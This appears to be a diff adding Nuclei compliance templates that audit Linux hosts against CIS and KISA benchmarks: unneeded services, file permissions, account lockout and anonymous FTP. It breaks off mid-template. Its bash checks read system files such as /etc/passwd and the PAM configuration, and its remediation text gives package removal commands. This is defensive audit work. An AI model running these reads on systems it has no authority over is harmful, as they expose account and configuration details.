@@ -114,4 +115,4 @@ code:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- '"Reset URL: " + code_response'
|
||||
# digest: 4a0a00473045022100f8903b48a3426223b074cf3692b1d6a29234635491568677b23e79a7e63b8d3c0220607199839279491185e602067f73ce3373035197e4345c24ed28e64259923e79:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502204353d3a82e59a1e6f0000ed14c526a1cd26eb8db57cde27965cd86813396370c022100a6deef19d9c4c9c38a303e53100979cb2185f31e692b81c0aa51bea2317dc7b5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,45 @@
|
||||
id: autofs-service
|
||||
|
||||
info:
|
||||
name: Ensure autofs Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
|
||||
remediation: |
|
||||
- Ensure the `autofs` package is not installed unless explicitly required.
|
||||
- To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
|
||||
- To remove the package, run: sudo apt-get purge -y autofs
|
||||
- To clean up dependencies, run: sudo apt-get autoremove -y
|
||||
- To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s autofs &>/dev/null; then
|
||||
echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: avahi-daemon
|
||||
|
||||
info:
|
||||
name: Ensure Avahi Daemon Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
|
||||
remediation: |
|
||||
- Ensure the `avahi-daemon` package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove avahi-daemon -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s avahi-daemon &>/dev/null; then
|
||||
echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: dhcp-server
|
||||
|
||||
info:
|
||||
name: Ensure DHCP Server Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
|
||||
remediation: |
|
||||
- Ensure the isc-dhcp-server package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove isc-dhcp-server -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s isc-dhcp-server &>/dev/null; then
|
||||
echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: dns-server
|
||||
|
||||
info:
|
||||
name: Ensure DNS Server Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
|
||||
remediation: |
|
||||
- Ensure the `bind9` package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove bind9 -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s bind9 &>/dev/null; then
|
||||
echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,26 @@
|
||||
id: dns-zone-transfer-any
|
||||
|
||||
info:
|
||||
name: DNS Zone Transfer Allowed to Any Host
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,kisa,audit,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: code_1_response
|
||||
regex:
|
||||
- 'allow-transfer\s*\{\s*any;\s*\}'
|
||||
# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: dnsmasq-service
|
||||
|
||||
info:
|
||||
name: Ensure dnsmasq Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
|
||||
remediation: |
|
||||
- Ensure the `dnsmasq` package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove dnsmasq -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s dnsmasq &>/dev/null; then
|
||||
echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,27 @@
|
||||
id: etc-services-permission-check
|
||||
|
||||
info:
|
||||
name: /etc/services Permission Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,code,audit,compliance,local
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- '^root\s+root\s+(600|640|644)$'
|
||||
# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,40 @@
|
||||
id: finger-service-enabled
|
||||
|
||||
info:
|
||||
name: Linux Finger Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,code,audit,compliance,kisas
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if [ -f /etc/xinetd.d/finger ]; then
|
||||
disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
|
||||
if [ "$disable_status" = "no" ]; then
|
||||
echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
|
||||
elif [ -z "$disable_status" ]; then
|
||||
echo "[UNKNOWN] Finger service config found but no disable directive"
|
||||
else
|
||||
echo "[SAFE] Finger service is disabled in xinetd"
|
||||
fi
|
||||
elif systemctl is-active --quiet finger 2>/dev/null; then
|
||||
echo "[VULNERABLE] Finger service is active under systemd"
|
||||
else
|
||||
echo "[SAFE] Finger service not found"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,44 @@
|
||||
id: ftp-client
|
||||
|
||||
info:
|
||||
name: Ensure FTP Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
|
||||
remediation: |
|
||||
- Ensure FTP client packages are not installed unless explicitly required.
|
||||
- To remove them, run: sudo apt-get remove ftp tnftp -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if ftp or tnftp packages are installed
|
||||
if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: ftp-server
|
||||
|
||||
info:
|
||||
name: Ensure FTP Server Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
|
||||
remediation: |
|
||||
- Ensure the `vsftpd` package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove vsftpd -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s vsftpd &>/dev/null; then
|
||||
echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,40 @@
|
||||
id: home-env-permission
|
||||
|
||||
info:
|
||||
name: User Home Directory and Shell Environment File Ownership & Permission
|
||||
author: songyaeji
|
||||
severity: medium
|
||||
description: |
|
||||
Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,compliance,kisa
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
|
||||
HOME_DIR=$(eval echo ~$user)
|
||||
find "$HOME_DIR" -maxdepth 1 -type f \
|
||||
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
|
||||
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
|
||||
done
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
name: insecure-perms
|
||||
part: response
|
||||
regex:
|
||||
- "^-.{5}w" # group writable
|
||||
- "^-.{8}w" # other/world writable
|
||||
|
||||
- type: regex
|
||||
name: invalid-owner
|
||||
part: response
|
||||
regex:
|
||||
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
|
||||
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: inactive-password-lock-default
|
||||
|
||||
info:
|
||||
name: Ensure Inactive Password Lock is Configured (Default Setting)
|
||||
author: Th3l0newolf
|
||||
severity: high
|
||||
description: |
|
||||
This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
|
||||
remediation: |
|
||||
Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,password
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
|
||||
if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
|
||||
echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
|
||||
else
|
||||
echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,44 @@
|
||||
id: ldap-client
|
||||
|
||||
info:
|
||||
name: Ensure LDAP Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
|
||||
remediation: |
|
||||
- Ensure the ldap-utils package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove ldap-utils -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if the ldap-utils package is installed
|
||||
if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: ldap-server
|
||||
|
||||
info:
|
||||
name: Ensure LDAP Server Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
|
||||
remediation: |
|
||||
- Run: sudo apt-get remove slapd -y
|
||||
- This removes the LDAP server package to reduce the system’s attack surface.
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s slapd &>/dev/null; then
|
||||
echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,31 @@
|
||||
id: linux-account-lockout-threshold
|
||||
|
||||
info:
|
||||
name: Linux Account Lockout Threshold Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
The system did not enforce an account lockout threshold, leaving it exposed to brute-force attacks through unrestricted login attempts.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: local,linux,kisa,audit,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
grep -E 'pam_tally2.so|pam_faillock.so' \
|
||||
/etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/common-auth \
|
||||
2>/dev/null || echo "no-lockout-config"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: no-config
|
||||
part: response
|
||||
words:
|
||||
- "no-lockout-config"
|
||||
# digest: 4b0a00483046022100ddbb8ad3614b22b608c14fd9c974fd7024e21bda73426b584045cf5f7270303d022100cd10a4cc0e4cf5302c7760c004a52a3ef979541703ca6130a740ec39dcb99c43:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,46 @@
|
||||
id: linux-anonymous-ftp-enabled
|
||||
|
||||
info:
|
||||
name: Linux Anonymous FTP Access Enabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
FTP account allows malicious users to exploit it to log in anonymously and write to directories, potentially gaining unauthorized access or executing local exploits.This template checks for signs of anonymous FTP being enabled via /etc/passwd, vsFTPD, or ProFTPD configuration files.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
metadata:
|
||||
verified: true
|
||||
tags: linux,local,kisa,audit,ftp,anonymous,local
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if grep -q -E '^ftp:' /etc/passwd; then
|
||||
echo "[VULNERABLE] FTP user exists in /etc/passwd"
|
||||
else
|
||||
echo "[SAFE] No FTP user found in /etc/passwd"
|
||||
fi
|
||||
|
||||
# Check vsftpd anonymous login
|
||||
if grep -q -i 'anonymous_enable.*yes' /etc/vsftpd/vsftpd.conf 2>/dev/null; then
|
||||
echo "[VULNERABLE] anonymous_enable=YES in vsftpd.conf"
|
||||
else
|
||||
echo "[SAFE] Anonymous login disabled in vsftpd.conf"
|
||||
fi
|
||||
|
||||
# Check proftpd anonymous login
|
||||
if grep -q -i 'UserAlias.*anonymous' /etc/proftpd/proftpd.conf 2>/dev/null; then
|
||||
echo "[VULNERABLE] UserAlias anonymous in proftpd.conf"
|
||||
else
|
||||
echo "[SAFE] Anonymous login disabled in proftpd.conf"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a00473045022055559b14fc854e4092076348e8112d3c5de9cc61c672ae22a6c3c0338bb8297d022100b710a746d9e1137f08fe0e7a9598b87866051c238f885376e2c0ab28d57fe15a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,46 @@
|
||||
id: linux-automountd-enabled
|
||||
|
||||
info:
|
||||
name: Automountd Service Enabled
|
||||
author: songyaeji
|
||||
severity: medium
|
||||
description: |
|
||||
The automountd service, when enabled or running, allowed a local attacker to execute arbitrary commands with root privileges by exploiting automatic mount options. This misconfiguration led to local privilege escalation.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
metadata:
|
||||
verified: true
|
||||
tags: local,linux,privesc,kisa
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
whoami
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if pgrep -x "automountd" > /dev/null; then
|
||||
echo "[VULNERABLE] automountd service is running"
|
||||
else
|
||||
echo "[SAFE] automountd service is not running"
|
||||
fi
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "root"
|
||||
negative: true
|
||||
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a0047304502203bae281737c0bf4a782527ac4b1f087046778d156478e8942e0f62bc57de275602210080d389c9fdfcdb96b3290985fcbba51ad85076327ed6aabd5af318ba4dc0f0e2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,51 @@
|
||||
id: linux-cron-permissions-check
|
||||
|
||||
info:
|
||||
name: Cron Access File Ownership & Permissions
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
/etc/cron.allow and /etc/cron.deny (if present) were required to be owned by root (UID 0) with strict 640 permissions.If neither file existed, only the root user could use cron, which was considered the safe default behavior.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: local,linux,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
result=""
|
||||
|
||||
check_file() {
|
||||
file=$1
|
||||
if [ -f "$file" ]; then
|
||||
owner=$(stat -c "%u" "$file") # numeric UID
|
||||
perm=$(stat -c "%a" "$file") # permissions
|
||||
if [ "$owner" -ne 0 ] || [ "$perm" -ne 640 ]; then
|
||||
result+="[WARN] $file misconfigured\n"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
check_file /etc/cron.allow
|
||||
check_file /etc/cron.deny
|
||||
|
||||
if [ -n "$result" ]; then
|
||||
echo -e "$result"
|
||||
else
|
||||
if [ ! -f /etc/cron.allow ] && [ ! -f /etc/cron.deny ]; then
|
||||
echo "[OK] no cron access files found (default safe behavior)"
|
||||
else
|
||||
echo "[OK] cron files properly configured"
|
||||
fi
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[WARN] /etc/cron.allow misconfigured"
|
||||
- "[WARN] /etc/cron.deny misconfigured"
|
||||
# digest: 490a004630440220180a1385922d6792b7c466fde7a1f487c47fe0525a02e7adf73eea1cc50e8d100220684a7e5fd3ca7898c61cde73008a3725f8753709b7ea323a254b27a075c3ff1f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,76 @@
|
||||
id: linux-legacy-services-enabled
|
||||
|
||||
info:
|
||||
name: DoS Vulnerable Service Enabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Services such as echo, discard, daytime, and chargen were enabled on the system, allowing attackers to exploit them to extract system information or launch denial-of-service (DoS) attacks.These legacy services were required to be disabled unless explicitly needed.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: local,linux,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if [ -f "/etc/xinetd.d/echo" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/echo"; then
|
||||
echo "[VULNERABLE] echo service is enabled in /etc/xinetd.d/echo"
|
||||
else
|
||||
echo "[SAFE] echo service is disabled or not present"
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
